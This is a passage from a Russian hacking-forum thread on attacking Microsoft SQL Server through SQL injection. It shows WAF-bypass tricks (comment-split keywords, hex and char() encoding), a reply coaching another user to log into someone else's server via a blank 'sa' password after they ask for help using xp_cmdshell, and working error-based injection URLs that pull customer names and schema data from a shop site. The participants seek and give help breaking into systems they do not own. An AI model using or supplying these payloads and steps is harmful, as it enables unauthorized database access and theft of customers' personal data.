‘/*’ ‘*\’ – строчные комментарии.
; - разделение запросов (может быть гораздо больше 1)

То есть для того, что бы нам разделить фильтруеещееся по маске слово внутрь него мы вставим строчный комментарий и закроем его, например

Код:

E/*comment*/X/*comment*/E/*comment*/C
Так же надо помнить что есть альтернативы многим запросам, а на фильтр как правило стоят только основные функции, конструкции.

Название баз данных и, например данных для инсерта мы можем кодировать 2 способами:
1)Многосимвольно 0x[HEX]
2) Односимвольно char(0x[HEX])+char(0x[HEX])+char(0x[HEX])+char(0x[HEX])+char(0x[HEX])


5)ROWSET или еще 1 косяк Microsoft.

На эту тему написана отличная статья на русском языке на securitylab.ru так что дублировать что либо я не вижу смысла и так что читаем.


[ cash ] Hack-Shop.Org.Ru (c)

Klaus Doring 31.12.2007 11:02

При подборе колонок вылазит вот такой эррор!
Warning: mssql_connect() [function.mssql-connect]: Unable to connect to server: 127.0.0.1
Warning: mssql_query() [function.mssql-query]: Unable to connect to server: (null)
Warning: mssql_query() [function.mssql-query]: A link to the server could not be established
Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource

GannIbal. 03.01.2008 13:05

На шол вот такую уязвимость


Пользователь 'sa' имеет пустой пароль, следовательно любой пользователь может получить полный доступ к БД. Также при наличии расширенной процедуры xp_cmdshell злоумышленник может получить полный контроль над сервером.


добрые люди помогите ей воспользоваться :)

заранее спасибо
может есть какой либо список команд

Lancellot 03.01.2008 13:26

GannIbal.
по моему нужен юзер dbo/ master и тд .
что бы выполнять команды на сервере и добавлять юзера в бд

Macro 03.01.2008 13:36

Цитата:

Сообщение от Lancellot
GannIbal.
по моему нужен юзер dbo/ master и тд .
что бы выполнять команды на сервере и добавлять юзера в бд

Нет, именно sa

guest3297 03.01.2008 16:59

2GannIbal.

1) Скачатай клиент (MSSQL SERVER (faq где ? -> microsoft.com ))
2) Запусти
3) Веди ip логин sa пароль оставь пустым.
4) Нажми Cоеденить или Connect.
5) Наблюдай азу данных в графическо интерфейсе.

GannIbal. 03.01.2008 18:08

Цитата:

Сообщение от [ cash ]
2GannIbal.

1) Скачатай клиент (MSSQL SERVER (faq где ? -> microsoft.com ))
2) Запусти
3) Веди ip логин sa пароль оставь пустым.
4) Нажми Cоеденить или Connect.
5) Наблюдай азу данных в графическо интерфейсе.


сейчас посмотрим
спасибо бальшое вроде всё норм пака работает

guest3297 10.01.2008 08:02

Готовиться продолжение статьи

https://forum.antichat.ru/showpost.php?p=523825&postcount=36
TSQL, разделяй и властвуй.

В рассмотрении пока темы:
1) Эффективное исполнение команд.
2) Методы автоматизации иньекций.
3) MSSQL и PHP
4) Клиенты, библиотеки, и методы аудита баз MSSQL.

Хотелось бы услышать то, что вам будет интересно прочитать, обсудить или просто поделиться.

Все вы можете со мной обсудить на IRC канале #antichat.

~Taxa~ 08.02.2008 05:24

Добрый день, столкнулся с траблой по MSSQL. Могу всмотреть таблицы и их колонки. НО не всех таблиц пример если взять 'customers'

Код:

site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+last_name+from+customer)--
то читать могу выдает имя юзера, а вот если взять 'order'

Код:

site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='order'+AND+COLUMN_NAME+NOT+IN+('ip','login_date'))--
показывает все, но если забить такой запрос

Код:

site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+ip+from+order)--
то облом пишит следующие:

Цитата:

ADODB.Field error '80020009'

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

/shop/progucts.asp, line 0
Что это может значить? Я так понимаю что у меня нету прав на чтения это таблицы или я ошибаюсь?


Время: 18:18